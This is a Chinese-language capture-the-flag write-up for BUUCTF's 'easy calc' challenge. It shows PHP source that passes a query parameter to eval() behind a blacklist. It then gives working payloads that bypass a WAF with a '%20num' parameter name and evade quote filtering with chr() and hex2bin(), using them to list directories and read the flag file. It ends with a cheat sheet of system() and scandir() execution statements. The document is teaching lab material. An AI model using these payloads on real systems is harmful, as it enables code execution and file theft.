【BUUCTF】easy calc
【BUUCTF】easy calc (PHP代码审计)
题目来源
收录于:BUUCTF BUUCTF2019
题目描述
一个计算器,尝试SSTI,SQL注入都无果
对计算过程抓包,发现/clac.php
,表达式通过num参数进行传递
访问/calc.php
,得到源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
当num传递的为字母时,被waf拦截(另一个waf,不是上面PHP文件设置的黑名单)
题解
当在num前加上空格,即变量为%20num时,就可以绕过WAF对num的审计。在转化为PHP的key=>value
时,PHP解析了传入的key,做了两件事情:
- 删除空白符
- 转化特殊字符
就可以把想要的变量转化为num了。
exp如下:
calc.php?%20num=phpinfo()
接下来获取目录:print_r(scandir('/'))
这里尝试使用 system('ls')
获取目录时失败
由于对'
进行过滤,可以使用chr()
函数绕过,payload如下:
calc.php?%20num=print_r(scandir(chr(47)))
calc.php?%20num=print_r(scandir(hex2bin(dechex(47))))
接下来对文件进行读取,payload如下:
calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
即file_get_contents('/f1agg')
得到flag
总结
PHP解析参数时进行以下两步:
- 删除空白符
- 转化特殊字符
可以使用在参数名前加%20的方法进行waf绕过
查看目录的PHP语句如下:
system('ls');
echo system('ls');
eval(system('ls'));
eval("echo system('ls');");
print_r(scandir('.'));
echo print_r(scandir('.'));
eval(print_r(scandir('.')));
eval("print_r(scandir('.'));");
eval("echo print_r(scandir('.'));");
var_dump(scandir('.'));
echo var_dump(scandir('.'));
eval(var_dump(scandir('.')));
eval("var_dump(scandir('.'));");
eval("echo var_dump(scandir('.'));");
读取文件内容的PHP语句将上面的函数改为file_get_contents()
即可。
当对引号进行过滤时,可以使用chr()
或hex2bin(dechex())
拼接的方式绕过过滤。